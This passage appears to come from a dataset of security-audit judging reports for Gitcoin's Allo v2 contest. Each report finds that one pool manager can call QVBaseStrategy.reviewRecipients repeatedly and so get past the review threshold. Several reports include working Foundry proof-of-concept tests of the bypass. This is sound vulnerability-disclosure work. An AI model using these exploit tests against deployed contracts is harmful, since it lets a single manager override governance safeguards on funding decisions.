{\n276: Recipient storage recipient = recipients[recipientId];\n277: recipient.recipientStatus = recipientStatus;\n278: \n279: emit RecipientStatusUpdated(recipientId, recipientStatus, address(0));\n280: }\n281: \n282: emit Reviewed(recipientId, recipientStatus, msg.sender);\n283: \n284: unchecked {\n285: ++i;\n286: }\n287: }\n288: }\n\n```\n\n## Impact\nIf the ````reviewThreshold```` design is for scenario that pool manager role is only 99.99% but not 100% trusted by pool owner, then allowing to ````review```` repeatedly make the design meaningless.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAllowing to ````review```` only once from one manager","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//007-M/695.md"}} +{"title":"A pool manager can vote multiple times, which could jeopardize the Recipients Review Process.","severity":"medium","body":"Tart Citron Platypus\n\nhigh\n\n# A pool manager can vote multiple times, which could jeopardize the Recipients Review Process.\n\n## Vulnerability Detail\n\nPer the docs: https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/qv-base/README.md\n\n> `reviewThreshold` (uint256, slot 1): ==The number of votes required== to review a recipient.\n\n> Recipients Review Process\n \n * Pool managers can review recipient applications and update their statuses.\n * Depending on the review threshold, recipients' statuses can change from pending to accepted or rejected.\n * If the review threshold is met, recipient statuses are updated, allowing them to participate in voting or receive payouts.\n\nHowever, in the current implementation:\n\n- The same pool manager can vote repeatedly.\n- Votes with different recipientStatus for the same recipientId can overwrite each other.\n - `recipient.recipientStatus` can change from Pending to Accepted, then to Rejected, then back to Pending, and so on.\n\n\n## Impact\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254-L288\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nRecord the voter in storage, and each pool manager can only vote once.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//007-M/652.md"}} +{"title":"In `QVBaseStrategy` the same manager can review one applicant multiple times and thereby render the safety measure of `reviewThreshold` useless","severity":"medium","body":"Dandy Lavender Wombat\n\nmedium\n\n# In `QVBaseStrategy` the same manager can review one applicant multiple times and thereby render the safety measure of `reviewThreshold` useless\nIn `QVBaseStrategy` potential recipients are reviewed by poolManager. For a recipient to be accepted, the number of managers that review him with a particular status needs to cross the `reviewThreshold`. The problem is that one manager can review a participant multiple times and thereby render the `reviewThreshold` useless.\n\n## Vulnerability Detail\n\nIn `QVBaseStrategy` to ensure additional safety, multiple poolManagers need to review one applicant before he can be accepted. The number of revies to a particular recommendation (accepted or rejected ) must be equal or exceed the set `reviewThreshold`. This safeguard it in place to make sure that multiple poolManager take a look at the same recipient. The problem arises from the fact that it is not tracked if a manager already reviewed the recipient or not. This can lead to the situation where the same manager reviews one recipient multiple times and the recipient is thereby accepted or rejected even though not the required number of poolManagers have revied the recipient.\n\nExample:\n\nThe `reviewThreshold` for a `QVBaseStrategy` is set to 2. Alice, a pool manager, reviews one batch of recipients and reviews Bob, a potential recipient, as accepted. When reviewing a second batch of recipients she accidently adds the review of Bob to the data again and reviews Bob as accepted again. Now Bob was accepted even though only one poolManager reviewed him an not the recommended two.\n\n\n## Impact\nRecipients are accepted/rejected even though they have not been reviewed by the recommended number of poolManagern\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254-L288\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nTrack who revied which applicant to make sure that no poolManager reviews an applicant multiple times and thereby bypasses the safety guard of the `reviewThreshold`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//007-M/589-best.md"}} +{"title":"The same Pool manager can `reviewRecipients()` multiple time in QVBaseStrategy contract","severity":"medium","body":"Immense Teal Penguin\n\nmedium\n\n# The same Pool manager can `reviewRecipients()` multiple time in QVBaseStrategy contract\nThe same Pool manager can `reviewRecipients()` multiple time in QVBaseStrategy contract\n\n## Vulnerability Detail\nLet's suppose there're 3 manager with the threshold to review recipients is 2. It should be 2 or more different manager to review the recipient in order to get passed. But in the contract, 1 manager can just make 2 votes to 1 recipient to get passed. Even though manager is trusted, it makes no sense that it's doable for manager to make that happen.\n\n```solidity\n function reviewRecipients(address[] calldata _recipientIds, Status[] calldata _recipientStatuses)\n external\n virtual\n onlyPoolManager(msg.sender)\n onlyActiveRegistration\n {\n // make sure the arrays are the same length\n uint256 recipientLength = _recipientIds.length;\n if (recipientLength != _recipientStatuses.length) revert INVALID();\n\n for (uint256 i; i < recipientLength;) {\n Status recipientStatus = _recipientStatuses[i];\n address recipientId = _recipientIds[i];\n\n if (recipientStatus == Status.None || recipientStatus == Status.Appealed) {\n revert RECIPIENT_ERROR(recipientId);\n }\n\n //<@@ NO CHECK IF THE MANAGER HAD VOTED TO THIS RECIPIENT BEFORE\n\n reviewsByStatus[recipientId][recipientStatus]++; \n if (reviewsByStatus[recipientId][recipientStatus] >= reviewThreshold) {\n Recipient storage recipient = recipients[recipientId];\n recipient.recipientStatus = recipientStatus;\n\n emit RecipientStatusUpdated(recipientId, recipientStatus, address(0));\n }\n\n emit Reviewed(recipientId, recipientStatus, msg.sender);\n\n unchecked {\n ++i;\n }\n }\n }\n```\n## Impact\nThe recipient can be freely passed by only 1 manager which is not supposed to \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254C1-L288C6\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd mapping to check if the manager had reviewed this recipient before","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//007-M/360.md"}} +{"title":"Single reviewer can review a recipient past the review threshold atomically in QVBaseStrategy","severity":"medium","body":"Sneaky Amethyst Robin\n\nmedium\n\n# Single reviewer can review a recipient past the review threshold atomically in QVBaseStrategy\n\nLogic used to validate that a recipient has been sufficiently reviewed can be avoided, removing the need for the logic entirely.\n\nNote: Although pool managers are trusted, since the logic is intended to enforce trust and doesn't effectively do so, it is redundant at best.\n\n## Vulnerability Detail\n\n`QVBaseStrategy.reviewRecipients` validates that a recipient has been reviewed to have a same status multiple times before actually applying that status to the recipient. The problem with this logic is that there's no enforcement that this status has been reviewed by different pool managers, in fact the same pool manager can loop over the same recipientId and status enough to exceed the reviewThreshold in one simple call to `reviewRecipients`. As a result, there's no benefit in using this logic, and since pool managers are trusted it would make more sense to remove multiple review logic altogether to make the process much more efficient as this decision can be made off-chain. Alternatively, if we want this voting logic to be valid, we can enforce that reviews are coming from multiple pool managers.\n\n## Impact\n\nReview threshold logic is easily manipulable and redundant at best.\n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-base/QVBaseStrategy.sol#L273\n```solidity\nreviewsByStatus[recipientId][recipientStatus]++;\n\nif (reviewsByStatus[recipientId][recipientStatus] >= reviewThreshold) {\n Recipient storage recipient = recipients[recipientId];\n recipient.recipientStatus = recipientStatus;\n\n emit RecipientStatusUpdated(recipientId, recipientStatus, address(0));\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nValidate that reviews are coming from multiple pool managers by including a mapping to track whether a given pool manager has reviewed a given recipient.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//007-M/358.md"}} +{"title":"Same pool manager can review the same recipient multiple times in QV Strategies","severity":"medium","body":"Digital Berry Horse\n\nmedium\n\n# Same pool manager can review the same recipient multiple times in QV Strategies\nSame pool manager can review the same recipient multiple times in QV Strategies.\n## Vulnerability Detail\nA pool manager can review the same recipient multiple times, which shouldn't be possible, since there is no check of it. As one of the developers told me in Discord when asking him about this: _that shouldn't be possible_. Here is a PoC where the same pool manager reviews the same recipient multiple times until he gets rejected:\n\n function test_reviewSameRecipientsMultipleTimesFromSamePoolManager() public {\n address recipientId = __register_recipient();\n\n address[] memory recipientIds = new address[](1);\n recipientIds[0] = recipientId;\n IStrategy.Status[] memory Statuses = new IStrategy.Status[](1);\n Statuses[0] = IStrategy.Status.Rejected;\n\n vm.prank(pool_manager1());\n qvStrategy().reviewRecipients(recipientIds, Statuses);\n vm.prank(pool_manager1()); // Same pool manager reviwes the same recipientId\n qvStrategy().reviewRecipients(recipientIds, Statuses);\n vm.prank(pool_manager1()); // Same pool manager reviwes the same recipientId\n qvStrategy().reviewRecipients(recipientIds, Statuses);\n\n QVBaseStrategy.Recipient memory recipientRejected = qvStrategy().getRecipient(recipientId);\n assertEq(uint8(IStrategy.Status.Rejected), uint8(recipientRejected.recipientStatus));\n }\n## Impact\nA recipient can be _accepted_ or _rejected_ just by one pool manager, which shouldn't be possible. That is why we have the _reviewThreshold_, but it can bypassed just by reviewing it multiple times.\n## Code Snippet\nReview recipients function in QV Strateties:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L249-L288\n## Tool used\n\nManual Review and Foundry\n\n## Recommendation\nCreate a mapping to store if a pool manager has already reviewed a recipient, in order to prevent him from reviewing it multiple times.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//007-M/337.md"}} +{"title":"QVBaseStrategy single manager can change recipient's review status even if reviewThreshold > 1","severity":"medium","body":"Silly Carob Opossum\n\nmedium\n\n# QVBaseStrategy single manager can change recipient's review status even if reviewThreshold > 1\n\n1. Managers can call the `reviewRecipients` function multiple times with the same status, increasing the status review count each time. If count becomes equal to `reviewThreshold`, status changes.\n2. If recipient's status changes again, for example, if the recipient appeals, the review count for the previous status will remain equal to `reviewThreshold`. In this case, only one review from any manager needs to change the status back.\n\n## Vulnerability Detail\n\nThe `reviewRecipients` function doesn't have checks that manager has already reviewed the recipient.\n\nReview count is stored for each status.\n\n```solidity\n// recipientId -> status -> count\nmapping(address => mapping(Status => uint256)) public reviewsByStatus;\n```\n\nEvery time manager reviews a recipient, status review count increases.\n\n```solidity\nreviewsByStatus[recipientId][recipientStatus]++;\n```\n\nIf review count becomes equal to `reviewThreshold`, status changes.\n\n```solidity\nif (reviewsByStatus[recipientId][recipientStatus] >= reviewThreshold) {\n Recipient storage recipient = recipients[recipientId];\n recipient.recipientStatus = recipientStatus;\n\n emit RecipientStatusUpdated(recipientId, recipientStatus, address(0));\n}\n```\n\nThe status may change again if recipient updates the application.\n\n```solidity\nif (currentStatus == Status.Accepted) {\n // recipient updating accepted application\n recipient.recipientStatus = Status.Pending;\n} else if (currentStatus == Status.Rejected) {\n // recipient updating rejected application\n recipient.recipientStatus = Status.Appealed;\n}\n```\n\nThe review count for the previous status, in this case, does not change and remains equal to `reviewThreshold`. Calling `reviewRecipients` function again with the previous status will change it back.\n\n\n## Impact\n\nRecipient's status can be changed by a single manager. This may not even be done intentionally. For example, two managers did a review and rejected the recipient. The recipient appealed. Then, if at least one manager rejects the recipient again, the status will change immediately. This manager may not even know that the other one did not review it. And vice versa, the second manager may not know that the recipient was under review again.\n\n## POC\n\nAdd these tests to `QVSimpleStrategyTest`, run with `forge test --mc QVSimpleStrategyTest --mt testPOC -vv`.\n\n```solidity\nfunction testPOC1() external {\n address recipientId = __register_recipient();\n\n address[] memory recipientIds = new address[](1);\n recipientIds[0] = recipientId;\n IStrategy.Status[] memory statuses = new IStrategy.Status[](1);\n statuses[0] = IStrategy.Status.Accepted;\n\n // Single manager makes review twice and changes the recipient's status\n vm.startPrank(pool_manager1());\n for (uint256 i; i < qvStrategy().reviewThreshold(); i++) {\n qvStrategy().reviewRecipients(recipientIds, statuses);\n }\n vm.stopPrank();\n\n assertEq(uint8(qvStrategy().getRecipientStatus(recipientId)), uint8(IStrategy.Status.Accepted));\n}\n\nfunction testPOC2() external {\n /**\n * Recipient is registered, the admin and pool manager review it\n * and change the recipient's status to Rejected\n */\n address recipientId = __register_reject_recipient();\n\n // The recipient updates info and changes status to Appealed\n __register_recipient();\n\n IStrategy.Status newStatus = qvStrategy().getRecipientStatus(recipientId);\n assertEq(uint8(IStrategy.Status.Appealed), uint8(newStatus));\n\n // Now it needs only one review to change status back to Rejected\n address[] memory recipientIds = new address[](1);\n recipientIds[0] = recipientId;\n IStrategy.Status[] memory statuses = new IStrategy.Status[](1);\n statuses[0] = IStrategy.Status.Rejected;\n\n vm.prank(pool_manager1());\n qvStrategy().reviewRecipients(recipientIds, statuses);\n\n assertEq(uint8(qvStrategy().getRecipientStatus(recipientId)), uint8(IStrategy.Status.Rejected));\n}\n```\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L249-L288\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nEvery time recipient's status changes, the review count of the previous status needs to be reset.\n\n```solidity\n/// @notice Call this function everywhere the recipient's status needs to be changed.\nfunction _updateRecipientStatus(address recipientId, Status newStatus) internal {\n Recipient storage recipient = recipients[recipientId];\n\n Status oldStatus = recipient.recipientStatus;\n reviewsByStatus[recipientId][oldStatus] = 0;\n\n recipient.recipientStatus = newStatus;\n\n emit RecipientStatusUpdated(recipientId, newStatus, address(0));\n}\n```\nTo avoid multiple reviews by the same manager, we need to store result of the review. For this purpose, we can use additional mapping of review status by every manager.\n\n```solidity\n// recipientId -> reviewer -> status\nmapping(address => mapping(address => Status)) public reviewsByReviewers;\n```\n\nBut the problem is that when the recipientā€™s status changes, we also need to reset the review result of each manager. It's a bit harder to do. Instead, we can use a status nonce that will increment every time the status changes. The result of a review will be associated with the nonce, so we wonā€™t have to reset the results of previous reviews.\n\n```solidity\n/// @notice The details of the recipient\nstruct Recipient {\n // slot 0\n uint256 totalVotesReceived;\n // slot 1\n bool useRegistryAnchor;\n address recipientAddress;\n Metadata metadata;\n Status recipientStatus;\n uint256 statusNonce; // <--\n}\n\n...\n\n// recipientId -> reviewer -> statusNonce -> status\nmapping(address => mapping(address => mapping(uint256 => Status))) public reviewsByReviewers; // <--\n\n...\n\nfunction reviewRecipients(address[] calldata _recipientIds, Status[] calldata _recipientStatuses)\n external\n virtual\n onlyPoolManager(msg.sender)\n onlyActiveRegistration\n{\n // make sure the arrays are the same length\n uint256 recipientLength = _recipientIds.length;\n if (recipientLength != _recipientStatuses.length) revert INVALID();\n\n for (uint256 i; i < recipientLength;) {\n Status recipientStatus = _recipientStatuses[i];\n address recipientId = _recipientIds[i];\n\n // if the status is none or appealed then revert\n if (recipientStatus == Status.None || recipientStatus == Status.Appealed) {\n revert RECIPIENT_ERROR(recipientId);\n }\n\n if (reviewsByReviewers[recipientId][msg.sender][statusNonce] == recipientStatus) { // <--\n revert RECIPIENT_HAS_ALREADY_BEEN_REVIEWED(recipientId);\n }\n\n reviewsByStatus[recipientId][recipientStatus]++;\n reviewsByReviewers[recipientId][msg.sender][statusNonce] = recipientStatus; // <--\n\n if (reviewsByStatus[recipientId][recipientStatus] >= reviewThreshold) {\n _updateRecipientStatus(recipientId, recipientStatus); // <--\n }\n\n emit Reviewed(recipientId, recipientStatus, msg.sender);\n\n unchecked {\n ++i;\n }\n }\n}\n\nfunction _updateRecipientStatus(address recipientId, Status newStatus) internal {\n Recipient storage recipient = recipients[recipientId];\n Status oldStatus = recipient.recipientStatus;\n\n reviewsByStatus[recipientId][oldStatus] = 0;\n\n recipient.recipientStatus = newStatus;\n recipient.statusNonce++; // <--\n\n emit RecipientStatusUpdated(recipientId, newStatus, address(0));\n}\n\n...\n\nfunction _registerRecipient(bytes memory _data, address _sender)\n...\n if (currentStatus == Status.None) {\n // recipient registering new application\n recipient.recipientStatus = Status.Pending;\n emit Registered(recipientId, _data, _sender);\n } else {\n if (currentStatus == Status.Accepted) {\n // recipient updating accepted application\n _updateRecipientStatus(recipientId, Status.Pending); // <--\n } else if (currentStatus == Status.Rejected) {\n // recipient updating rejected application\n _updateRecipientStatus(recipientId, Status.Appealed); // <--\n }\n\n // emit the new status with the '_data' that was passed in\n emit UpdatedRegistration(recipientId, _data, _sender, recipient.recipientStatus);\n }\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//007-M/315.md"}} +{"title":"QVBaseStrategy:reviewRecipients a single pool-manager can set recipientStatus","severity":"medium","body":"Proud Honey Aardvark\n\nmedium\n\n# QVBaseStrategy:reviewRecipients a single pool-manager can set recipientStatus\nCalling `reviewRecipients()` a single pool-manager can set the `recipientStatus` of a chosen `recipient` defeating the intended `reviewThreshold`.\n\n## Vulnerability Detail\nBy submitting a review for a `recipientId` multiple times the a single pool-manager can reach the `reviewThreshold` and set the `recipientStatus` of that recipient. This can be done by multiple calls to `reviewRecipients()` or by a single call providing an array with the same `recipientId` and the desired `recipientStatus`. A foundry test case highlighting this bug is provided below.\n\n## Impact\nA single pool-manager can set the `recipientStatus` defeating the intended `reviewThreshold` potentially making the recipient eligible for a payout later on.\n\n## Code Snippet\nThe affected code:\n[QVBaseStrategy.sol#L254-L288](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254-L288)\n\nThe foundry test highlighting the issue:\n```solidity\n function test_reviewRecipients_BUG() public {\n address recipientId = __register_recipient();\n // NOTE: This can also be done with two individual transactions\n // by the same sender.\n address[] memory recipientIds = new address[](2);\n recipientIds[0] = recipientId;\n recipientIds[1] = recipientId;\n IStrategy.Status[] memory Statuses = new IStrategy.Status[](2);\n Statuses[0] = IStrategy.Status.Accepted;\n Statuses[1] = IStrategy.Status.Accepted;\n\n // a single pool-manager reviews the status of the same recipientId twice.\n vm.startPrank(pool_manager1());\n qvStrategy().reviewRecipients(recipientIds, Statuses);\n\n vm.expectEmit(true, false, false, false);\n emit RecipientStatusUpdated(recipientId, IStrategy.Status.Rejected, pool_admin());\n emit RecipientStatusUpdated(recipientId, IStrategy.Status.Rejected, pool_admin());\n\n\n QVBaseStrategy.Recipient memory recipient = qvStrategy().getRecipient(recipientId);\n assertEq(uint8(IStrategy.Status.Accepted), uint8(recipient.recipientStatus));\n }\n\n```\n## Tool used\n\nManual Review and Foundry\n\n## Recommendation\nImplement book-keeping of reviews given.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//007-M/314.md"}} +{"title":"QVBaseStrategy.sol#reviewRecipients() One manager can vote more than once for a recipient","severity":"medium","body":"Suave Orchid Crab\n\nmedium\n\n# QVBaseStrategy.sol#reviewRecipients() One manager can vote more than once for a recipient\nOne manager can vote more than once for a recipient \n\n## Vulnerability Detail\nreviewRecipients function allows different managers to review the recipients and if the recipient has enough reviews, his status is updated. There is a mapping where the reviews for each recipient are stored, so every time a manager executes reviewRecipients(), the recipient reviews are increased with one. To update a recipient's status, enough managers must have voted for the recipient so that his reviews are equal to or greater than the reviewThreshold variable.\n\nSo let's assume that a recipient doesn't have enough reviews to update his status, but the manager can call the function as many times as necessary to increase the count enough to pass the if statement.\n\n## Impact\nAny recipient can pass the review process\n\n## Code Snippet\n```solidity\n function reviewRecipients(address[] calldata _recipientIds, Status[] calldata _recipientStatuses)\n external\n virtual\n onlyPoolManager(msg.sender)\n onlyActiveRegistration\n {\n // make sure the arrays are the same length\n uint256 recipientLength = _recipientIds.length;\n if (recipientLength != _recipientStatuses.length) revert INVALID();\n\n\n for (uint256 i; i < recipientLength;) {\n Status recipientStatus = _recipientStatuses[i];\n address recipientId = _recipientIds[i];\n\n\n // if the status is none or appealed then revert\n if (recipientStatus == Status.None || recipientStatus == Status.Appealed) {\n revert RECIPIENT_ERROR(recipientId);\n }\n\n\n reviewsByStatus[recipientId][recipientStatus]++;\n\n\n if (reviewsByStatus[recipientId][recipientStatus] >= reviewThreshold) {\n Recipient storage recipient = recipients[recipientId];\n recipient.recipientStatus = recipientStatus;\n\n\n emit RecipientStatusUpdated(recipientId, recipientStatus, address(0));\n }\n\n\n emit Reviewed(recipientId, recipientStatus, msg.sender);\n\n\n unchecked {\n ++i;\n }\n }\n }\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254-L288\n## Tool used\n\nManual Review\n\n## Recommendation\nMaybe a mapping that stores when a manager has reviewed a recipient and if that checks if the manager has already reviewed that recipient","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//007-M/298.md"}} +{"title":"In QV strategy, each pool manager has absolute control over reviewing recipients","severity":"medium","body":"Merry Punch Caterpillar\n\nmedium\n\n# In QV strategy, each pool manager has absolute control over reviewing recipients\n\n`QVBaseStrategy.reviewRecipients` allows any pool manager to cast arbitrarily many votes. In a single transaction, they can force any recipient of their choice to either become accepted or rejected.\n\nI have checked with the sponsor. They said: \"If they can cast more than 1 vote and force the approval, it would be a bug\"\n\n## Vulnerability Detail\n\nQVBaseStrategy.reviewRecipients does not contain any form of vote tracking. It does not at all track whether a pool manager has already voted. They can submit many votes for or against the same recipient in the same transaction. If the recipient was rejected, they can be marked as accepted, and vice-versa.\n\n## Impact\n\nThe voting mechanism of pool managers in QV strategy is completely broken.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254-L288\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nOnly allow one vote per recipient per pool manager.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//007-M/264.md"}} +{"title":"Bypass reviewThreshold check in QVBaseStrategy.sol","severity":"medium","body":"Tame Grey Wombat\n\nhigh\n\n# Bypass reviewThreshold check in QVBaseStrategy.sol\nThe `reviewThreshold` is the number of votes required to review a recipient status. There is no check that `Pool Manager` has already voted to change status. If strategy have two `Pool Managers` and `reviewThreshold` is equal 2, than two different managers must vote, but one manager can vote twice and change recipient status. \n## Vulnerability Detail\nTo change user status, `Pool Manager` must call `reviewRecipients`. The status changes if the required number of votes is collected. But attacker call function `reviewRecipients` several times (`test_reviewRecipientsWithTheSamePoolManager_1`) or attacker can pass the same recipient several times in array(`test_reviewRecipientsWithTheSamePoolManager_2`).\nProof of Concept(Add this tests to `test/foundry/strategies/QVBaseStrategy.t.sol`):\n```solidity\n function test_reviewRecipientsWithTheSamePoolManager_1() public {\n address recipientId = __register_recipient();\n\n address[] memory recipientIds = new address[](2);\n recipientIds[0] = recipientId;\n recipientIds[1] = recipientId;\n IStrategy.Status[] memory Statuses = new IStrategy.Status[](2);\n Statuses[0] = IStrategy.Status.Rejected;\n Statuses[1] = IStrategy.Status.Rejected;\n\n vm.startPrank(pool_manager1());\n qvStrategy().reviewRecipients(recipientIds, Statuses);\n\n QVBaseStrategy.Recipient memory recipient = qvStrategy().getRecipient(recipientId);\n assertEq(uint8(IStrategy.Status.Rejected), uint8(recipient.recipientStatus));\n }\n\n function test_reviewRecipientsWithTheSamePoolManager_2() public {\n address recipientId = __register_recipient();\n\n address[] memory recipientIds = new address[](1);\n recipientIds[0] = recipientId;\n IStrategy.Status[] memory Statuses = new IStrategy.Status[](1);\n Statuses[0] = IStrategy.Status.Rejected;\n\n vm.startPrank(pool_manager1());\n qvStrategy().reviewRecipients(recipientIds, Statuses);\n\n vm.expectEmit(true, false, false, false);\n emit RecipientStatusUpdated(recipientId, IStrategy.Status.Rejected, pool_admin());\n\n qvStrategy().reviewRecipients(recipientIds, Statuses);\n\n QVBaseStrategy.Recipient memory recipient = qvStrategy().getRecipient(recipientId);\n assertEq(uint8(IStrategy.Status.Rejected), uint8(recipient.recipientStatus));\n }\n```\n## Impact\nThe manager can change the user's status without the participation of other pool managers. \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254\n```solidit\nfunction reviewRecipients(address[] calldata _recipientIds, Status[] calldata _recipientStatuses)\n external\n virtual\n onlyPoolManager(msg.sender)\n onlyActiveRegistration\n {\n // make sure the arrays are the same length\n uint256 recipientLength = _recipientIds.length;\n if (recipientLength != _recipientStatuses.length) revert INVALID();\n\n for (uint256 i; i < recipientLength;) {\n Status recipientStatus = _recipientStatuses[i];\n address recipientId = _recipientIds[i];\n\n // if the status is none or appealed then revert\n if (recipientStatus == Status.None || recipientStatus == Status.Appealed) {\n revert RECIPIENT_ERROR(recipientId);\n }\n\n reviewsByStatus[recipientId][recipientStatus]++;\n\n if (reviewsByStatus[recipientId][recipientStatus] >= reviewThreshold) {\n Recipient storage recipient = recipients[recipientId];\n recipient.recipientStatus = recipientStatus;\n\n emit RecipientStatusUpdated(recipientId, recipientStatus, address(0));\n }\n\n emit Reviewed(recipientId, recipientStatus, msg.sender);\n\n unchecked {\n ++i;\n }\n }\n }\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nIt is recommended to save that the pool manager has already voted to change the status and check whether he does it again.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//007-M/231.md"}} +{"title":"Managers can bypass threshold permissions for change recipient status in QVBaseStrategy.sol","severity":"medium","body":"Keen Amethyst Guppy\n\nmedium\n\n# Managers can bypass threshold permissions for change recipient status in QVBaseStrategy.sol\nIn `QVBaseStrategy` recipient status is supposed to be updated if votes count for the recipient is not less than a specified on initialization threshold value. For example, if threshold value is 2, then at least 2 managers must vote for a status change to change the status. However, managers can bypass this requirement either by calling `reviewRecipients` twice, or by passing duplicated recipient statuses when calling `reviewRecipients`.\n\n## Vulnerability Detail\nIn function [reviewRecipients](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254-L288) `reviewsByStatus` mapping is updated every time the function is called, and it does not matter if `msg.sender` has already reviewed the recipients:\n\n```solidity\nif (recipientStatus == Status.None || recipientStatus == Status.Appealed) {\n revert RECIPIENT_ERROR(recipientId);\n}\n\nreviewsByStatus[recipientId][recipientStatus]++;\n\nif (reviewsByStatus[recipientId][recipientStatus] >= reviewThreshold) {\n Recipient storage recipient = recipients[recipientId];\n recipient.recipientStatus = recipientStatus;\n\n emit RecipientStatusUpdated(recipientId, recipientStatus, address(0));\n}\n```\n\nTherefore, if a manager calls the function twice with the same parameters, the votes count will be increased twice.\n\n## Impact\nManagers can bypass threshold requirement for a recipient status change.\n\n## Code Snippet\nHere are the tests for `QVSimpleStrategy` (QVSimpleStrategyTest) that confirm the issue. The strategy in the test requires 2 votes to change status for a recipient.\n\n```solidity\nfunction test_registerRecipient_bypassThreshold1() public {\n address recipientId = __register_recipient();\n\n QVBaseStrategy.Recipient memory receipt = qvStrategy().getRecipient(recipientId);\n\n assertEq(uint8(receipt.recipientStatus), uint8(IStrategy.Status.Pending));\n\n address[] memory recipientIds = new address[](1);\n recipientIds[0] = recipientId;\n\n IStrategy.Status[] memory recipientStatuses = new IStrategy.Status[](1);\n recipientStatuses[0] = IStrategy.Status.Accepted;\n\n vm.startPrank(pool_manager1());\n qvStrategy().reviewRecipients(recipientIds, recipientStatuses);\n qvStrategy().reviewRecipients(recipientIds, recipientStatuses);\n vm.stopPrank();\n\n receipt = qvStrategy().getRecipient(recipientId);\n\n assertEq(uint8(receipt.recipientStatus), uint8(IStrategy.Status.Accepted));\n }\n\n function test_registerRecipient_bypassThreshold2() public {\n address recipientId = __register_recipient();\n\n QVBaseStrategy.Recipient memory receipt = qvStrategy().getRecipient(recipientId);\n\n assertEq(uint8(receipt.recipientStatus), uint8(IStrategy.Status.Pending));\n\n address[] memory recipientIds = new address[](2);\n recipientIds[0] = recipientId;\n recipientIds[1] = recipientId;\n\n IStrategy.Status[] memory recipientStatuses = new IStrategy.Status[](2);\n recipientStatuses[0] = IStrategy.Status.Accepted;\n recipientStatuses[1] = IStrategy.Status.Accepted;\n\n vm.startPrank(pool_manager1());\n qvStrategy().reviewRecipients(recipientIds, recipientStatuses);\n vm.stopPrank();\n\n receipt = qvStrategy().getRecipient(recipientId);\n\n assertEq(uint8(receipt.recipientStatus), uint8(IStrategy.Status.Accepted));\n }\n```\n\n## Tool used\n\nManual Review\n\n## 